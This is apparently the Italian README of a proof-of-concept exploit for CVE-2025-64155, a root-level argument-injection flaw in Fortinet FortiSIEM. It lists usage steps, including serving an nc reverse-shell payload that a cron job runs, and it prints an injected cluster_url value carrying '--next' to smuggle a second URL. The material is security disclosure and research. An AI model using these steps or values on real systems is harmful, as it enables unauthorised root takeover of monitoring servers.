CVE-2025-64155: Iniezione di argomenti in Fortinet FortiSIEM con esecuzione di codice in remoto

Proof of concept per Fortinet FortiSIEM che sfrutta un'iniezione di argomenti per scrivere un file e ottenere l'esecuzione di codice come root

Post del blog

Analisi approfondita qui: Horizon3.ai - CVE-2025-64155: Three Years of Remotely Rooting the Fortinet FortiSIEM

Nota

Lo sfruttamento di questo problema per sovrascrivere file dell'applicazione potrebbe causare instabilità del sistema. Usare con cautela. I controlli possono essere eseguiti in modo innocuo modificando cluster_url in: <cluster_url>http://127.0.0.1:80 --next http://<INTERACTSH_URL></cluster_url>

Utilizzo

1. Modificare il payload nel webserver serve.py con il payload desiderato (es. reverse shell nc)
2. Modificare cluster_url in CVE-2025-64155.py in modo che punti all'URL di base del server su cui è in esecuzione serve.py (es. http://10.0.40.83:9200)
3. Eseguire il webserver serve.py
4. Eseguire l'exploit CVE-2025-64155.py
5. Attendere circa 1 minuto affinché il cron job esegua il payload

% python3 CVE-2025-64155.py -h
usage: CVE-2025-64155.py [-h] -t TARGET [-p PORT]

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -p PORT, --port PORT  The port of the Phoenix Monitor service

Segui il team Attack di Horizon3.ai su Twitter per le ultime ricerche di sicurezza:

• Horizon3 Attack
• James Horseman
• Zach Hanley

Disclaimer

Questo software è stato creato esclusivamente per scopi di ricerca accademica e per lo sviluppo di tecniche difensive efficaci, e non è inteso per attaccare sistemi se non esplicitamente autorizzati. I maintainer del progetto non sono responsabili dell'uso improprio del software. Usalo in modo responsabile.